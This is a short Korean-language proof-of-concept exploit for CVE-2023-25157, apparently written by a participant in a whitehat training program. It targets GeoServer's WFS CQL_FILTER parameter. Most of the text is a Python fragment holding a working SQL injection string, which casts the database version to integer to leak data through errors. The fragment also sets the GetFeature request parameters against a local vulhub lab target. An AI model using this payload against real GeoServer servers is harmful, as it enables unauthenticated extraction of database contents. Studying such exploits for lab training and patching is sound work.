
CVE-2023-25157에 대한 개념 증명 익스플로잇으로, GeoServer의 WFS CQL_FILTER 매개변수에 존재하는 블라인드 SQL 인젝션 취약점을 통해 인증 없이 데이터를 추출할 수 있습니다.
화이트햇 3기 [30반] 김정우
github 링크 - https://github.com/custiya/geoserver-CVE-2023-25157
# 대상 URL
url = "http://localhost:8080/geoserver/ows"
# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
# 파라미터 설정
params = {
"service": "wfs",
"version": "1.0.0",
"request": "GetFeature",
"typeName": "vulhub:example",
"CQL_FILTER": cql_filter
}
